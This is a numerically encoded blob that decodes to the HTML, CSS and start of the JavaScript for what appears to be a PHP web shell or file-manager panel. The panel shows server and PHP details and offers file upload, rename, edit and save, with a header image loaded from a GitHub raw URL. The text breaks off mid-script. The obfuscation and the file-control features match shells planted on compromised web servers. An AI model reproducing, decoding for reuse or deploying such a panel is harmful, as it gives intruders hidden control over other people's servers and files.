83, 19, 91, 84, 85, 93, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 18, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 82, 85, 94, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 18, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 9, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 93, 90, 83, 92, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 21, 25, 24, 93, 8, 14, 13, 14, 13, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 23, 103, 10, 9, 10, 9, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 86, 78, 77, 94, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 9, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 25, 70, 54, 63, 54, 63, 24, 77, 84, 90, 72, 77, 72, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 87, 82, 92, 81, 77, 15, 10, 1, 73, 65, 0, 25, 103, 84, 77, 77, 84, 86, 15, 10, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 14, 9, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 64, 54, 63, 25, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 13, 9, 73, 65, 0, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 8, 11, 9, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 23, 10, 91, 23, 11, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 90, 83, 82, 86, 90, 77, 82, 84, 83, 15, 25, 72, 85, 82, 93, 94, 82, 83, 25, 19, 23, 72, 25, 94, 90, 72, 94, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 23, 90, 11, 10, 13, 11, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 11, 8, 23, 8, 23, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 64, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 11, 90, 14, 90, 23, 90, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 25, 19, 93, 84, 77, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 84, 80, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 84, 80, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 94, 87, 87, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 0, 25, 70, 54, 63, 19, 77, 84, 90, 72, 77, 19, 76, 90, 87, 83, 25, 19, 93, 84, 77, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 76, 90, 87, 83, 18, 0, 25, 70, 54, 63, 121, 80, 94, 66, 91, 87, 90, 86, 94, 72, 25, 72, 85, 82, 93, 94, 82, 83, 25, 64, 25, 91, 87, 84, 86, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 1, 73, 65, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 9, 25, 70, 25, 77, 84, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 9, 18, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 10, 25, 70, 25, 70, 54, 63, 54, 63, 24, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 64, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 91, 82, 65, 94, 93, 0, 25, 82, 83, 72, 94, 77, 15, 9, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 88, 94, 83, 77, 94, 87, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 87, 92, 103, 90, 17, 10, 13, 21, 25, 10, 23, 21, 25, 10, 11, 21, 25, 19, 11, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 9, 9, 9, 9, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 64, 25, 76, 82, 93, 77, 81, 15, 86, 82, 83, 17, 2, 9, 9, 73, 65, 21, 25, 2, 14, 75, 76, 18, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 24, 23, 13, 10, 91, 23, 12, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 14, 14, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 11, 73, 65, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 64, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 70, 54, 63, 19, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 10, 10, 93, 23, 13, 0, 25, 70, 54, 63, 24, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 14, 14, 75, 81, 0, 25, 87, 94, 72, 82, 79, 94, 15, 75, 94, 87, 77, 82, 88, 90, 85, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 1, 10, 11, 10, 103, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 91, 84, 84, 77, 94, 87, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 1, 73, 65, 0, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 88, 94, 83, 77, 94, 87, 0, 25, 88, 84, 85, 84, 87, 15, 24, 88, 91, 88, 2, 93, 23, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 2, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 0, 25, 70, 54, 63, 54, 63, 121, 86, 94, 93, 82, 90, 25, 17, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 25, 11, 13, 9, 73, 65, 18, 64, 54, 63, 25, 25, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 25, 70, 54, 63, 25, 25, 77, 93, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 21, 25, 77, 81, 15, 83, 77, 81, 22, 88, 81, 82, 85, 93, 17, 8, 18, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 83, 84, 83, 94, 25, 70, 54, 63, 70, 54, 63, 5, 20, 72, 77, 66, 85, 94, 3, 54, 63, 5, 20, 81, 94, 90, 93, 3, 54, 63, 5, 103, 84, 93, 66, 3, 54, 63, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 76, 87, 90, 73, 73, 94, 87, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 81, 94, 90, 93, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 90, 83, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 85, 84, 92, 84, 39, 3, 5, 82, 86, 92, 25, 72, 87, 88, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 87, 90, 76, 19, 92, 82, 77, 81, 78, 103, 78, 72, 94, 87, 88, 84, 83, 77, 94, 83, 77, 19, 88, 84, 86, 20, 85, 84, 75, 94, 85, 82, 95, 90, 73, 94, 85, 82, 20, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 20, 87, 94, 91, 72, 20, 81, 94, 90, 93, 72, 20, 86, 90, 82, 83, 20, 82, 86, 90, 92, 94, 19, 73, 83, 92, 39, 25, 90, 85, 77, 6, 39, 114, 88, 84, 83, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 81, 10, 3, 112, 122, 108, 119, 110, 112, 116, 5, 20, 81, 10, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 94, 87, 75, 94, 87, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 114, 105, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 90, 93, 92, 94, 39, 3, 104, 84, 91, 77, 76, 90, 87, 94, 15, 25, 5, 88, 84, 93, 94, 3, 5, 4, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 18, 25, 4, 3, 5, 20, 88, 84, 93, 94, 3, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 82, 93, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 25, 88, 85, 90, 72, 72, 6, 39, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 39, 3, 117, 84, 90, 93, 82, 83, 92, 231, 185, 155, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 73, 90, 83, 94, 85, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 84, 84, 85, 103, 90, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 78, 73, 85, 84, 90, 93, 123, 84, 87, 86, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 77, 66, 73, 94, 6, 39, 91, 82, 85, 94, 39, 25, 82, 93, 6, 39, 91, 82, 85, 94, 114, 83, 73, 78, 77, 39, 25, 88, 85, 90, 72, 72, 6, 39, 91, 82, 85, 94, 39, 25, 86, 78, 85, 77, 82, 73, 85, 94, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 110, 73, 85, 84, 90, 93, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 72, 77, 66, 85, 94, 6, 39, 91, 85, 94, 65, 15, 10, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 5, 91, 84, 87, 86, 25, 82, 93, 6, 39, 87, 94, 83, 90, 86, 94, 123, 84, 87, 86, 39, 25, 72, 77, 66, 85, 94, 6, 39, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 84, 85, 93, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 116, 85, 93, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 72, 73, 90, 83, 3, 231, 187, 183, 5, 20, 72, 73, 90, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 82, 83, 73, 78, 77, 25, 88, 85, 90, 72, 72, 6, 39, 82, 83, 73, 78, 77, 39, 25, 77, 66, 73, 94, 6, 39, 77, 94, 65, 77, 39, 25, 82, 93, 6, 39, 83, 94, 76, 115, 90, 86, 94, 39, 25, 73, 85, 90, 88, 94, 81, 84, 85, 93, 94, 87, 6, 39, 115, 94, 76, 25, 83, 90, 86, 94, 19, 94, 65, 77, 39, 25, 20, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 77, 66, 73, 94, 6, 39, 72, 78, 103, 86, 82, 77, 39, 3, 119, 94, 83, 90, 86, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 91, 84, 87, 86, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 90, 103, 85, 94, 25, 82, 93, 6, 39, 91, 86, 109, 90, 103, 85, 94, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 25, 72, 77, 66, 85, 94, 6, 39, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 11, 9, 73, 65, 39, 3, 115, 90, 86, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 109, 66, 73, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 104, 82, 79, 94, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 117, 90, 72, 77, 25, 118, 84, 93, 82, 91, 82, 94, 93, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 81, 3, 122, 88, 77, 82, 84, 83, 72, 5, 20, 77, 81, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 81, 94, 90, 93, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 103, 84, 93, 66, 25, 82, 93, 6, 39, 91, 86, 7, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 5, 77, 87, 3, 5, 77, 93, 25, 88, 84, 85, 72, 73, 90, 83, 6, 39, 14, 39, 25, 72, 77, 66, 85, 94, 6, 39, 73, 90, 93, 93, 82, 83, 92, 15, 23, 9, 73, 65, 0, 25, 84, 73, 90, 88, 82, 77, 66, 15, 19, 1, 39, 3, 117, 84, 90, 93, 82, 83, 92, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 231, 185, 155, 5, 20, 77, 93, 3, 5, 20, 77, 87, 3, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 5, 20, 77, 103, 84, 93, 66, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 20, 77, 90, 103, 85, 94, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 91, 84, 84, 77, 94, 87, 39, 3, 27, 88, 84, 73, 66, 25, 79, 94, 82, 83, 81, 84, 87, 84, 103, 84, 72, 78, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 77, 84, 90, 72, 77, 72, 39, 25, 90, 87, 82, 90, 22, 85, 82, 75, 94, 6, 39, 73, 84, 85, 82, 77, 94, 39, 25, 90, 87, 82, 90, 22, 90, 77, 84, 86, 82, 88, 6, 39, 77, 87, 78, 94, 39, 3, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 93, 82, 75, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 118, 84, 93, 90, 85, 39, 25, 90, 87, 82, 90, 22, 81, 82, 93, 93, 94, 83, 6, 39, 77, 87, 78, 94, 39, 3, 54, 63, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 88, 90, 87, 93, 39, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 81, 94, 90, 93, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 77, 82, 77, 85, 94, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 109, 82, 77, 85, 94, 39, 3, 126, 93, 82, 77, 25, 91, 82, 85, 94, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 25, 72, 94, 88, 84, 83, 93, 90, 87, 66, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 120, 85, 84, 72, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 120, 85, 84, 72, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 103, 84, 93, 66, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 77, 94, 65, 77, 90, 87, 94, 90, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 122, 87, 94, 90, 39, 25, 72, 73, 94, 85, 85, 88, 81, 94, 88, 80, 6, 39, 91, 90, 85, 72, 94, 39, 3, 5, 20, 77, 94, 65, 77, 90, 87, 94, 90, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 25, 25, 5, 93, 82, 75, 25, 88, 85, 90, 72, 72, 6, 39, 86, 84, 93, 90, 85, 22, 90, 88, 77, 82, 84, 83, 72, 39, 3, 54, 63, 25, 25, 25, 25, 25, 25, 5, 103, 78, 77, 77, 84, 83, 25, 88, 85, 90, 72, 72, 6, 39, 103, 77, 83, 39, 25, 82, 93, 6, 39, 94, 93, 82, 77, 84, 87, 104, 90, 75, 94, 39, 25, 77, 66, 73, 94, 6, 39, 103, 78, 77, 77, 84, 83, 39, 3, 104, 90, 75, 94, 5, 20, 103, 78, 77, 77, 84, 83, 3, 54, 63, 25, 25, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 25, 25, 5, 20, 93, 82, 75, 3, 54, 63, 5, 20, 93, 82, 75, 3, 54, 63, 54, 63, 5, 72, 88, 87, 82, 73, 77, 3, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 77, 84, 90, 72, 77, 17, 86, 72, 92, 21, 25, 77, 66, 73, 94, 6, 28, 84, 80, 28, 21, 25, 77, 82, 86, 94, 84, 78, 77, 6, 23, 11, 9, 9, 18, 64, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 76, 87, 90, 73, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 92, 94, 77, 126, 85, 94, 86, 94, 83, 77, 7, 66, 114, 93, 17, 28, 77, 84, 90, 72, 77, 72, 28, 18, 0, 54, 63, 25, 25, 88, 84, 83, 72, 77, 25, 94, 85, 25, 6, 25, 93, 84, 88, 78, 86, 94, 83, 77, 19, 88, 87, 94, 90, 77, 94, 126, 85, 94, 86, 94, 83, 77, 